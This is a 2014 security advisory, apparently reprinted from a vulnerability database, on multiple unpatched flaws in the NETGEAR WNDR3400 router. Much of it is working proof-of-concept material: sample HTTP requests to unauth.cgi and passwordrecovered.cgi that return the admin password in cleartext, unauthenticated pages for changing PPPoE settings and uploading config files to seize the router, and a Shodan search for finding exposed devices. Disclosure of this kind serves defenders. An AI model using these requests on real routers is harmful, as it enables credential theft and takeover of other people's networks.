NETGEAR N600 WIRELESS DUAL BAND WNDR3400 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
NETGEAR N600 Wireless Dual Band WNDR3400 - Multiple Vulnerabilities including Password Disclosure and File Uploa

                                                Title: Multiple vulnerabilities in NETGEAR N600 WIRELESS DUAL BAND WNDR3400
====================================================================================
Notification Date:  4/14/2014
Affected Vendor:    NETGEAR N600 WIRELESS DUAL BAND WNDR3400
Firmware Version: Firmware Version 1.0.0.38 AND BELOW (ALL versions affected)
Issue Types: password Disclosure File Uploading with AuthPPOPE settings Change
Discovered by: Santhosh Kumar twitter: @security_b0x
Issue status: No Patch &#62;From the Vendors.
grettings: @Anami2111 (anamika singh) -- creator of wihawk



====================================================================================
Summary:
========
While i was lurking around the Netgear firmware today i came across various tweaking and others i was able to find a password disclosure,File uploading vulnerably which could compromise the entire router.as of now no patch from the vendor.

Password Disclosure:
====================
url: server/unauth.cgi?id=393087602
Generating with the 401 unauthorised error
poc:
Host: server:8080
 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://server:8080/
 Connection: keep-alive
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 0&#60;p class=&#34;MNUTitle&#34;&#62;Router Password Recovered&#60;/p&#62;

	&#60;table border=&#34;0&#34; cellpadding=&#34;0&#34; cellspacing=&#34;3&#34; style=&#34;width:600px&#34;&#62;
    &#60;col width=&#34;200&#34; /&#62;
    &#60;col width=&#34;400&#34; /&#62;
	&#60;tr&#62;
	&#60;td colspan=&#34;2&#34; class=&#34;MNUText&#34;&#62;You have successfully recovered the admin password.&#60;/td&#62;
	&#60;/tr&#62;
	&#60;tr&#62;
	&#60;td class=&#34;MNUText&#34; align=&#34;right&#34;&#62;Router Admin Username&#60;/td&#62;
	&#60;td class=&#34;MNUText&#34; align=&#34;left&#34;&#62;admin&#60;/td&#62;
	&#60;/tr&#62;
&#60;tr&#62;
&#60;td class=&#34;MNUText&#34; align=&#34;right&#34;&#62;Router Admin Password&#60;/td&#62;
&#60;td class=&#34;MNUText&#34; align=&#34;left&#34;&#62;password&#60;/td&#62;
&#60;/tr&#62;
\&#60;tr&#62;

poc2:

server:8080/passwordrecovered.cgi?id=1738955828

&#60;tr&#62;
&#60;td colspan=&#34;2&#34; class=&#34;MNUText&#34;&#62;You have successfully recovered the admin password.&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;
&#60;td class=&#34;MNUText&#34; align=&#34;right&#34;&#62;Router Admin Username&#60;/td&#62;
&#60;td class=&#34;MNUText&#34; align=&#34;left&#34;&#62;admin&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;
&#60;td class=&#34;MNUText&#34; align=&#34;right&#34;&#62;Router Admin Password&#60;/td&#62;
	&#60;td class=&#34;MNUText&#34; align=&#34;left&#34;&#62;0514&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;
&#60;td colspan=&#34;2&#34; class=&#34;MNUText&#34;&#62;You can now log in to the router using username &#34;admin&#34; and this recovered password.&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;

==============================================================================================================================

Ppope account reset:

Netgear runs a utility called &#34;netgear genie&#34; which does not have proper authentication on reaching &#34;genie_pppoe.htm &#34;

which allows to reset the ppoe username which any basic authentication.

http://server/genie_pppoe.htm

==============================================================================================================================

File Upload (router reset):

like the same one above the &#34;http://server/genie_restore.htm&#34;

the config file can be uploaded which leading to reseting the control to attackers username and password.

*.cfg file.


==============================================================================================================================
SHODAN DORK:
wndr3400: 10198 for wndr3400





******************************************************************************************************************************
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1